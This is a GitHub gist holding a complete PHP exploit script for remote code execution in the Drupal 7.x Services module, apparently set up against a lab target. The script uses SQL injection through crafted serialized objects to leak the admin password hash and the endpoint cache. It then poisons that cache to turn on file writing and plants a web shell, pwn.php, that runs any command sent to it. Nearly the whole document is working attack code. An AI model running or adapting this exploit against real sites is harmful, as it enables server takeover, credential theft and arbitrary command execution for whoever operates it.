Created
July 21, 2020 07:48
-
-
Save Mah1ndra/feb07b6905b755a0128d645de22fb432 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Drupal 7.x Module Services - Remote Code Execution | |
# Exploit Title: Drupal 7.x Services Module Remote Code Execution | |
# Vendor Homepage: https://www.drupal.org/project/services | |
# Exploit Author: Charles FOL | |
# Contact: https://twitter.com/ambionics | |
# Website: https://www.ambionics.io/blog/drupal-services-module-rce | |
#!/usr/bin/php | |
<?php | |
# Drupal Services Module Remote Code Execution Exploit | |
# https://www.ambionics.io/blog/drupal-services-module-rce | |
# cf | |
# | |
# Three stages: | |
# 1. Use the SQL Injection to get the contents of the cache for current endpoint | |
# along with admin credentials and hash | |
# 2. Alter the cache to allow us to write a file and do so | |
# 3. Restore the cache | |
# | |
# Initialization | |
error_reporting(E_ALL); | |
define('QID', 'anything'); | |
define('TYPE_PHP', 'application/vnd.php.serialized'); | |
define('TYPE_JSON', 'application/json'); | |
define('CONTROLLER', 'user'); | |
define('ACTION', 'login'); | |
$url = 'http://10.10.10.9'; # change the IP of the target | |
$endpoint_path = '/rest'; # Find the its corresponding rest endpoint using gobuster,dirsearch and update here. | |
$endpoint = 'rest_endpoint'; # Don't change this. | |
$file = [ | |
'filename' => 'pwn.php', | |
'data' => '<?php system($_REQUEST["cmd"]);?>' | |
]; | |
$browser = new Browser($url . $endpoint_path); | |
# Stage 1: SQL Injection | |
class DatabaseCondition | |
{ | |
protected $conditions = [ | |
"#conjunction" => "AND" | |
]; | |
protected $arguments = []; | |
protected $changed = false; | |
protected $queryPlaceholderIdentifier = null; | |
public $stringVersion = null; | |
public function __construct($stringVersion=null) | |
{ | |
$this->stringVersion = $stringVersion; | |
if(!isset($stringVersion)) | |
{ | |
$this->changed = true; | |
$this->stringVersion = null; | |
} | |
} | |
} | |
class SelectQueryExtender { | |
# Contains a DatabaseCondition object instead of a SelectQueryInterface | |
# so that $query->compile() exists and (string) $query is controlled by us. | |
protected $query = null; | |
protected $uniqueIdentifier = QID; | |
protected $connection; | |
protected $placeholder = 0; | |
public function __construct($sql) | |
{ | |
$this->query = new DatabaseCondition($sql); | |
} | |
} | |
$cache_id = "services:$endpoint:resources"; | |
$sql_cache = "SELECT data FROM {cache} WHERE cid='$cache_id'"; | |
$password_hash = '$S$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd'; | |
# Take first user but with a custom password | |
# Store the original password hash in signature_format, and endpoint cache | |
# in signature | |
$query = | |
"0x3a) UNION SELECT ux.uid AS uid, " . | |
"ux.name AS name, '$password_hash' AS pass, " . | |
"ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signature, " . | |
"ux.pass AS signature_format, ux.created AS created, " . | |
"ux.access AS access, ux.login AS login, ux.status AS status, " . | |
"ux.timezone AS timezone, ux.language AS language, ux.picture " . | |
"AS picture, ux.init AS init, ux.data AS data FROM {users} ux " . | |
"WHERE ux.uid<>(0" | |
; | |
$query = new SelectQueryExtender($query); | |
$data = ['username' => $query, 'password' => 'ouvreboite']; | |
$data = serialize($data); | |
$json = $browser->post(TYPE_PHP, $data); | |
# If this worked, the rest will as well | |
if(!isset($json->user)) | |
{ | |
print_r($json); | |
e("Failed to login with fake password"); | |
} | |
# Store session and user data | |
$session = [ | |
'session_name' => $json->session_name, | |
'session_id' => $json->sessid, | |
'token' => $json->token | |
]; | |
store('session', $session); | |
$user = $json->user; | |
# Unserialize the cached value | |
# Note: Drupal websites admins, this is your opportunity to fight back :) | |
$cache = unserialize($user->signature); | |
# Reassign fields | |
$user->pass = $user->signature_format; | |
unset($user->signature); | |
unset($user->signature_format); | |
store('user', $user); | |
if($cache === false) | |
{ | |
e("Unable to obtains endpoint's cache value"); | |
} | |
x("Cache contains " . sizeof($cache) . " entries"); | |
# Stage 2: Change endpoint's behaviour to write a shell | |
class DrupalCacheArray | |
{ | |
# Cache ID | |
protected $cid = "services:endpoint_name:resources"; | |
# Name of the table to fetch data from. | |
# Can also be used to SQL inject in DrupalDatabaseCache::getMultiple() | |
protected $bin = 'cache'; | |
protected $keysToPersist = []; | |
protected $storage = []; | |
function __construct($storage, $endpoint, $controller, $action) { | |
$settings = [ | |
'services' => ['resource_api_version' => '1.0'] | |
]; | |
$this->cid = "services:$endpoint:resources"; | |
# If no endpoint is given, just reset the original values | |
if(isset($controller)) | |
{ | |
$storage[$controller]['actions'][$action] = [ | |
'help' => 'Writes data to a file', | |
# Callback function | |
'callback' => 'file_put_contents', | |
# This one does not accept "true" as Drupal does, | |
# so we just go for a tautology | |
'access callback' => 'is_string', | |
'access arguments' => ['a string'], | |
# Arguments given through POST | |
'args' => [ | |
0 => [ | |
'name' => 'filename', | |
'type' => 'string', | |
'description' => 'Path to the file', | |
'source' => ['data' => 'filename'], | |
'optional' => false, | |
], | |
1 => [ | |
'name' => 'data', | |
'type' => 'string', | |
'description' => 'The data to write', | |
'source' => ['data' => 'data'], | |
'optional' => false, | |
], | |
], | |
'file' => [ | |
'type' => 'inc', | |
'module' => 'services', | |
'name' => 'resources/user_resource', | |
], | |
'endpoint' => $settings | |
]; | |
$storage[$controller]['endpoint']['actions'] += [ | |
$action => [ | |
'enabled' => 1, | |
'settings' => $settings | |
] | |
]; | |
} | |
$this->storage = $storage; | |
$this->keysToPersist = array_fill_keys(array_keys($storage), true); | |
} | |
} | |
class ThemeRegistry Extends DrupalCacheArray { | |
protected $persistable; | |
protected $completeRegistry; | |
} | |
cache_poison($endpoint, $cache); | |
# Write the file | |
$json = (array) $browser->post(TYPE_JSON, json_encode($file)); | |
# Stage 3: Restore endpoint's behaviour | |
cache_reset($endpoint, $cache); | |
if(!(isset($json[0]) && $json[0] === strlen($file['data']))) | |
{ | |
e("Failed to write file."); | |
} | |
$file_url = $url . '/' . $file['filename']; | |
x("File written: $file_url"); | |
# HTTP Browser | |
class Browser | |
{ | |
private $url; | |
private $controller = CONTROLLER; | |
private $action = ACTION; | |
function __construct($url) | |
{ | |
$this->url = $url; | |
} | |
function post($type, $data) | |
{ | |
$headers = [ | |
"Accept: " . TYPE_JSON, | |
"Content-Type: $type", | |
"Content-Length: " . strlen($data) | |
]; | |
$url = $this->url . '/' . $this->controller . '/' . $this->action; | |
$s = curl_init(); | |
curl_setopt($s, CURLOPT_URL, $url); | |
curl_setopt($s, CURLOPT_HTTPHEADER, $headers); | |
curl_setopt($s, CURLOPT_POST, 1); | |
curl_setopt($s, CURLOPT_POSTFIELDS, $data); | |
curl_setopt($s, CURLOPT_RETURNTRANSFER, true); | |
curl_setopt($s, CURLOPT_SSL_VERIFYHOST, 0); | |
curl_setopt($s, CURLOPT_SSL_VERIFYPEER, 0); | |
$output = curl_exec($s); | |
$error = curl_error($s); | |
curl_close($s); | |
if($error) | |
{ | |
e("cURL: $error"); | |
} | |
return json_decode($output); | |
} | |
} | |
# Cache | |
function cache_poison($endpoint, $cache) | |
{ | |
$tr = new ThemeRegistry($cache, $endpoint, CONTROLLER, ACTION); | |
cache_edit($tr); | |
} | |
function cache_reset($endpoint, $cache) | |
{ | |
$tr = new ThemeRegistry($cache, $endpoint, null, null); | |
cache_edit($tr); | |
} | |
function cache_edit($tr) | |
{ | |
global $browser; | |
$data = serialize([$tr]); | |
$json = $browser->post(TYPE_PHP, $data); | |
} | |
# Utils | |
function x($message) | |
{ | |
print("$message\n"); | |
} | |
function e($message) | |
{ | |
x($message); | |
exit(1); | |
} | |
function store($name, $data) | |
{ | |
$filename = "$name.json"; | |
file_put_contents($filename, json_encode($data, JSON_PRETTY_PRINT)); | |
x("Stored $name information in $filename"); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment